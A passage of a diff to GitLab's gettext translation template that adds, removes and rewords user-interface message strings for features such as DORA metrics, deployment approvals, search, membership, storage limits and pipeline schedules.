+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
